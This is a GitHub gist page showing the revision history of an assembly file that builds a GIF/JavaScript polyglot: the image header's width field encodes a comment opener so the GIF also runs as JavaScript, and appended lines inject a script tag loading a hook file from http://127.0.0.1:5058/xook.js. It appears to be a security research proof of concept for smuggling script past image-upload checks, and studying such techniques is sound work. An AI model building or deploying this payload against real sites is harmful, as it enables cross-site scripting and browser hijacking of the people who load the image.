Skip to content

Instantly share code, notes, and snippets.

@lucasdavila86
Forked from ajinabraham/gifjs.asm
Created March 14, 2017 22:16
Show Gist options
  • Select an option

  • Save lucasdavila86/c05c209bf9c7c6c68786d59d4c220d13 to your computer and use it in GitHub Desktop.

Select an option

Save lucasdavila86/c05c209bf9c7c6c68786d59d4c220d13 to your computer and use it in GitHub Desktop.

Revisions

  1. @ajinabraham ajinabraham revised this gist Nov 2, 2014. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion gifjs.asm
    Original file line number Diff line number Diff line change
    @@ -50,6 +50,6 @@ db 3bh ; GIF terminator
    db '*/' ; closing the comment
    db '=1;' ; creating a fake use of that GIF89a string

    db 'script = document.createElement("s");'
    db 's = document.createElement("script");'
    db 's.src = "http://127.0.0.1:5058/xook.js";'
    db 'document.body.appendChild(s);'
  2. @ajinabraham ajinabraham created this gist Nov 2, 2014.
    55 changes: 55 additions & 0 deletions gifjs.asm
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,55 @@
    ; a hand-made GIF containing valid JavaScript code
    ; abusing header to start a JavaScript comment

    ; inspired by Saumil Shah's Deadly Pixels presentation

    ; Ange Albertini, BSD Licence 2013

    ; yamal gifjs.asm -o img.gif

    WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment

    HEIGTH equ 100 ; just to make it easier to spot

    db 'GIF89a'
    dw WIDTH, HEIGTH

    db 0 ; GCT
    db -1 ; background color
    db 0 ; default aspect ratio
    ;db 0fch, 0feh, 0fch
    ;times COLORS db 0, 0, 0
    ; no need of Graphic Control Extension
    ; db 21h, 0f9h
    ; db GCESIZE ; size
    ; gce_start:
    ; db 0 ; transparent background
    ; dw 0 ; delay for anim
    ; db 0 ; other transparent
    ; GCESIZE equ $ - gce_start
    ; db 0 ; end of GCE

    db 02ch ; Image descriptor
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; w/h of image
    db 0 ; color table

    db 2 ; lzw size

    ;db DATASIZE
    ;data_start:
    ; db 00, 01, 04, 04
    ; DATASIZE equ $ - data_start

    db 0
    db 3bh ; GIF terminator

    ; end of the GIF

    db '*/' ; closing the comment
    db '=1;' ; creating a fake use of that GIF89a string

    db 'script = document.createElement("s");'
    db 's.src = "http://127.0.0.1:5058/xook.js";'
    db 'document.body.appendChild(s);'